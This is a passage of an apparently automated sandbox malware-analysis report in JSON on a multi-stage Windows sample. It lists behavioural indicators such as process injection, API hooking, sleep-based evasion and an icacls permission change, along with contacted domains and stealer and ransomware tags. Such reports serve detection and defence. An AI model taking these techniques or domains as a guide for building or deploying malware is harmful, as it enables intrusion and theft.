00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains the ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"NewTextDocumentmod.exse.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"build3.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"wlanext.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"buildz.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64CharArray\" in \"film.exe\"\n Observed function \"FromBase64String\" in \"film.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00001212.00000001.74196.000E6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"nslookup.exe\" (Indicator: \"nslookup\"; Source: \"00000000-00000588.00000003.79312.02420000.00000004.mdmp\")\n Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00000588.00000003.79312.02420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"Found string \"%username%\" (Indicator: \"%username%\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found string \"%username%\" (Indicator: \"%username%\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains the ability to enumerate volumes (API string)","description":"Found reference to API \"FindFirstVolumeMountPointA\" (Indicator: \"FindFirstVolume\"; File: \"buildz.exe.1711661264\")\n Found reference to API \"FindFirstVolumeMountPointA\" (Indicator: \"FindFirstVolumeMountPoint\"; File: \"buildz.exe.1711661264\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"Rktv.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains the ability to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"film.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"film.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetSubKeyNames\" in \"film.exe\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: Microsoft Internet Explorer\" (Indicator: \"user-agent: \"; Source: \"00000000-00000588.00000001.71968.00180000.00000004.mdmp, 00000000-00000588.00000002.73888.00180000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"tuc7.tmp\" searching for window \"H75921_VBMA12202FlashFixClass_H75921\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"NewTextDocumentmod.exse.exe\" connecting to \"\\ThemeApiPort\"\n \"spfasiazx.exe\" connecting to \"\\ThemeApiPort\"\n \"build3.exe\" connecting to \"\\ThemeApiPort\"\n \"wlanext.exe\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"\n \"buildz.exe\" connecting to \"\\ThemeApiPort\"\n \"RegSvcs.exe\" connecting to \"\\ThemeApiPort\"\n \"plugmanzx.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc7.tmp\" connecting to \"\\ThemeApiPort\"\n \"tuc2.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc5.tmp\" connecting to \"\\ThemeApiPort\"\n \"tuc4.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc3.tmp\" connecting to \"\\ThemeApiPort\"\n \"tuc6.exe\" connecting to \"\\ThemeApiPort\"\n \"tuc2.tmp\" connecting to \"\\ThemeApiPort\"\n \"tuc4.tmp\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries COM task scheduler class object","description":"$c1","origin":"Registry Access","mitre_attack_id":"T1053","relevance":3,"id":"registry-141","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"\\Device\\HarddiskVolume2\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"Z:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"spfasiazx.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003584)\n \"spfasiazx.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002844)\n \"build3.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003600)\n \"buildz.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00000588)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"NewTextDocumentmod.exse.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"4d0fef0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}\n \"NewTextDocumentmod.exse.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"5aeacb8\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"NewTextDocumentmod.exse.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"4d0fef0\"\n \"lpReserved\": \"0\"}\n \"NewTextDocumentmod.exse.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5aeacb8\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"$c2","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ten.sdapop.evres\" [Source: 00000000-00000588.00000001.71968.00180000.00000004.mdmp\n 00000000-00000588.00000002.73888.00180000.00000004.mdmp\n 00000000-00000588.00000003.79312.00180000.00000004.mdmp]\n Observed email domain:\"www.gmx.net\" [Source: 00000000-00000588.00000001.71968.00180000.00000004.mdmp\n 00000000-00000588.00000002.73888.00180000.00000004.mdmp\n 00000000-00000588.00000003.79312.00180000.00000004.mdmp]\n Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00000588.00000002.73888.00180000.00000004.mdmp\n 00000000-00000588.00000003.79312.00180000.00000004.mdmp]\n Observed email domain:\"dpmodemx.dll\" [Source: 00000000-00000588.00000003.79312.00180000.00000004.mdmp]\n Observed email domain:\"idimap.dll\" [Source: 00000000-00000588.00000003.79312.02420000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$c3","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$c4","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screenshot","description":"Observed function \"System.Drawing.CopyFromScreen\" in \"film.exe\"","origin":"Static Parser","mitre_attack_id":"T1113","relevance":1,"id":"static-113","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00000588.00000003.79312.02420000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should [name] be installed?\" (Indicator: \"where \"; Source: \"00000000-00000288.00000001.77413.013A0000.00000004.mdmp\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00000288.00000001.77413.013A0000.00000004.mdmp\")\n Found string \"Where should [name] be installed?\" (Indicator: \"where \"; Source: \"00000000-00000296.00000001.78204.01470000.00000004.mdmp, 00000000-00000296.00000002.79742.01470000.00000004.mdmp, 00000000-00000296.00000002.79742.01490000.00000004.mdmp\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00000296.00000001.78204.01470000.00000004.mdmp, 00000000-00000296.00000002.79742.01470000.00000004.mdmp, 00000000-00000296.00000002.79742.01490000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"00000000-00000588.00000003.79312.00400000.00000040.mdmp\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00000588.00000001.71968.00400000.00000040.mdmp, 00000000-00000588.00000003.79312.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"update.exe,csrss.exe,ctfmon.exe,lsm.exe,smss.exe\" (Source: \"00000000-00000588.00000003.79312.02420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"build3.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00003600)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"NewTextDocumentmod.exse.exe\" (Thread ID: 3296) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"NewTextDocumentmod.exse.exe\" sleeping for \"1566804069\" milliseconds\n \"NewTextDocumentmod.exse.exe\" sleeping for \"00600000\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Possible heap spraying attempt detected","description":"\"tuc4.exe\" issued more than 3000 memory allocations\n \"Vnloubk.exe\" issued more than 3000 memory allocations","origin":"API Call","mitre_attack_id":"T1189","relevance":10,"id":"api-88","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Hooks file system APIs","description":"$c5","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-2","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Writes PE header to memory","description":"\"spfasiazx.exe wrote PE header bytes (\"MZ\") to a remote process \"C:\\a\\spfasiazx.exe\", which might be an injection preparation attempt ..., \"alex.exe wrote PE header bytes (\"MZ\") to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"\n which might be an injection preparation attempt ...","origin":"API Call","mitre_attack_id":"T1055.002","relevance":7,"id":"api-83","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"NewTextDocumentmod.exse.exe\" allocated memory in \"C:\\NewTextDocumentmod.exse.exe\"\n \"build3.exe\" allocated memory in \"C:\\a\\build3.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Network Related","name":"Detected many DNS responses with a low TTL","description":"\"132xz-1319111867.cos.ap-beijing.myqcloud.com\" with TTL 60\n \"api.2ip.ua\" with TTL 300\n \"bitbucket.org\" with TTL 60\n \"brusuax.com\" with TTL 150\n \"china.dhabigroup.top\" with TTL 300\n \"crl.pki.goog\" with TTL 45\n \"crudeleavelegendew.fun\" with TTL 300\n \"domen414.com\" with TTL 4\n \"edarululoom.com\" with TTL 300\n \"fresh1.ironoreprod.top\" with TTL 300\n \"github.com\" with TTL 60\n \"mrproper.org\" with TTL 300\n \"needs.hitsturbo.com\" with TTL 300\n \"ocsp.pki.goog\" with TTL 290\n \"stoon.hitsturbo.com\" with TTL 300\n \"tmpfiles.org\" with TTL 300\n \"zexeq.com\" with TTL 32","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"send@WS2_32.DLL\" in \"buildz.exe\"\n \"send@WS2_32.DLL\" in \"%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe\"\n \"send@WS2_32.DLL\" in \"lve.exe\"\n \"send@WS2_32.DLL\" in \"1.exe\"\n \"send@WS2_32.DLL\" in \"rise.exe\"\n \"send@WS2_32.DLL\" in \"build3.exe\"\n \"send@WS2_32.DLL\" in \"tuc5.exe\"\n \"send@WS2_32.DLL\" in \"tuc7.tmp\"\n \"send@WS2_32.DLL\" in \"tuc2.exe\"\n \"send@WS2_32.DLL\" in \"tuc5.tmp\"\n \"send@WS2_32.DLL\" in \"tuc4.exe\"\n \"send@WS2_32.DLL\" in \"Vnloubk.exe\"\n \"send@WS2_32.DLL\" in \"tuc6.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\beb6630b-ff7d-4b9e-b0fb-544a9688af6c\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00001716)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"Sets a computer-based training (CBT) hook"},{"detail":"Contains ability to open the clipboard"},{"detail":"Contains ability to open the clipboard"},{"detail":"Contains ability to retrieve keyboard strokes"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads the system/video BIOS version"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 7 domains and 7 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"The analysis extracted file with a known ransomware suffix"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected many DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}]},"activity":{"stats":{"process_count":48,"spawned_processes_count":48,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":97,"imported_dlls_count":253,"dropped_files_count":0,"extracted_files_count":135,"files_written_count":623,"files_deleted_count":0,"registry_keys_created_count":40,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":40,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":64,"dns_resolutions_count":29,"contacted_urls_count":47,"http_requests_count":47},"behavior_tags":["scionspider","commodity","loader","raccoonstealer","phorpiexdownloader","targeted","redlinestealer","xworm","criminal","warzone","rat","aurastealer","cryptocurrencytheft","backdoor","lummastealer","meterpreter","amadeyloader","informationstealer","xenorat","amadeystealer","risepro","amadeyclipper","quasar","credentialharvesting","opensource","downloader","new_domain","suspicious","evasive","malicious","banking","lokibot","targetedcrimeware","nymaim","windows-server-utility","ransomware","stop","filecoder"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","User Comment","Sample Crashed"],"sandbox_reports":[{"id":"69113ae65b76401a8f094071","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["BGR","CHN","DEU","GBR","IRN","RUS","SYC","TUR","USA"],"submit_name":"New Text Document mod.exe","analysis_start_time":"2025-11-10T01:07:51+00:00","indicators_count":{"informative":353,"suspicious":132,"malicious":21},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"6582fc366c414651220920ce","environment_id":110,"environment_description":"Windows 7 